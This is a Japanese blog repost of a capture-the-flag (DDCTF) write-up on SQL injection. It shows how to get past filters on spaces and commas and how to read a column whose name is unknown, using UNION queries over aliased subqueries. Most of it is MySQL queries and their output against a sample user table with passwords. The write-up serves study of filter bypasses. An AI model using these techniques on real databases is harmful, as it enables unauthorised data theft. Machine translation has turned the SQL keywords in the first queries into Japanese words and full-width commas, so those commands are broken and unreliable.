MySQL で不明なフィールド名を回避する方法

MySQL で不明なフィールド名を回避する方法

序文

この記事では、DDCTF の 5 番目の質問、つまり不明なフィールド名をバイパスする手法を紹介します。ここでは、ローカル マシンを使用して操作します。アイデアは素晴らしく明確です。皆さんと共有してください。詳細な紹介を見てみましょう。

実装のアイデア

この質問はスペースとカンマをフィルタリングします。スペースは、%0a、%0b、%0c、%0d、%a0、または括弧を直接使用してバイパスできます。カンマは join を使用してバイパスできます。

フラグを格納するフィールド名が不明であり、information_schema.columns もテーブル名の 16 進数をフィルタリングするため、フィールド名を取得できません。この場合、結合クエリを使用できます。プロセスは次のようになります。

アイデアは、フラグを取得して、それを既知のフィールド名の下に表示することです。

サンプルコード:

mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d を選択します。
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d から * を選択します。
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> select * from (select 1)a、(select 2)b、(select 3)c、(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | 管理者 | admin888 | [email protected] |
| 2 | テスト | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
セット内の 4 行 (0.01 秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
セット内の4行(0.03秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
セット内の1行(0.01秒)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+-----------+-----------+-------------+
| ID | ユーザー名 | パスワード | メール |
+-------------+-----------+-----------+-------------+
| 1 | 管理者 | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+-----------+-----------+-------------+
セットに2行(0.04秒)

要約する

上記はこの記事の全内容です。この記事の内容が皆さんの勉強や仕事に少しでもお役に立てれば幸いです。ご質問があれば、メッセージを残してコミュニケーションしてください。123WORDPRESS.COM をご愛顧いただき、ありがとうございます。

以下もご興味があるかもしれません:
  • XSSとSQLインジェクションを防ぐ:JS特殊文字フィルタリングの定期的
  • 重複データをフィルタリングするSQL文
  • MySQLインジェクションバイパスフィルタリング技術の概要
  • SQLインジェクションは一重引用符の制限を回避し、インジェクションを継続します
  • SQLインジェクションバイパス手法の概要
  • 複数列の複合インデックスを使用して Microsoft SQL Server のバグを回避する
  • SQLインジェクションバイパスに関するいくつかの知識ポイント
  • SQL Server シンプル モードで誤って削除されたヒープ テーブル レコードを回復する方法 (ヘッダー検証をバイパス)
  • SQL インジェクション技術: 明示的およびブラインド インジェクションにおけるカンマ フィルタリングのバイパスの詳細な分析

<<:  TomcatはNginxリバースプロキシのクライアントドメイン名を取得します

>>:  jsはjQueryをカプセル化する簡単な方法とチェーン操作の詳細な説明を実装します

推薦する

データ構造 - ツリー (III): 多方向検索ツリー B ツリー、B+ ツリー

多方向探索ツリー完全二分木の高さ: O(log2N)、ここで2は対数完全なM方向探索木の高さ: O(...

ページ要素の絶対位置と相対位置に関するある程度の理解

今日から、定期的にちょっとした豆知識を整理していきます。簡単なものもあるかもしれませんが、どれも役に...

最新の MySQL 5.7.23 のインストールと設定のグラフィックチュートリアル

2018 年の最新 MySQL 5.7 の詳細なインストールと設定は 4 つのステップに分かれており...

入力テキストボックスの長さをコンテンツに応じて変更する方法

初め:コードをコピーコードは次のとおりです。 <input type="text&q...

初心者向けのMySQLデータベースとテーブルDDLの作成と操作の学習

目次1. データベースを操作する1.1 データベースを作成する1.2 データベースをクエリする1.3...

入力ボックスのコンテンツプロンプトと非表示機能を実装する JavaScript

入力ボックスが小さい場合、内容を入力した後に、入力内容が拡大されたプロンプト ボックスを表示したいこ...

CentOSはexpectを使用してスクリプトやコマンドをバッチでリモート実行します

サーバーへのファイルのアップロード、ソフトウェアのインストール、コマンドやスクリプトの実行、サービス...

Webフロントエンドのパフォーマンス最適化

ウェブフロントエンド最適化のベストプラクティス: コンテンツWebフロントエンド最適化のベストプラク...

Vue3 AST パーサー - ソースコード分析

目次1. AST抽象構文木を生成する2. ASTのルートノードを作成する3. 子ノードの解析4. テ...

503 サービス利用不可エラーの解決方法の説明

1. Webページを開くと503サービス利用不可が表示されますが、更新すると正常にアクセスできます。...

MYSQL マスタースレーブ レプリケーションの知識ポイントの概要

単一の MYSQL サーバーが現在の Web サイトのトラフィックに対応できない場合の最適化ソリュー...

Vueはプログレスバーの変更効果を実現します

この記事ではVueを使ってプログレスバーの変更を簡単に実装してみましたので参考にしてください。具体的...

プライベートウェアハウス(レジストリとハーバー)を構築するためのDockerの実装

使用される Docker イメージが増えるにつれて、イメージを保存する場所、つまりウェアハウスが必要...

Ubuntu 14 に Nginx-RTMP ストリーミング サーバーをインストールするチュートリアル

1. RTMP RTMP ストリーミング プロトコルは、Adobe が開発したリアルタイムのオーディ...

JS でクリップボード API を使用する方法

目次1. Document.execCommand() メソッド(1)コピー操作(2)貼り付け操作(...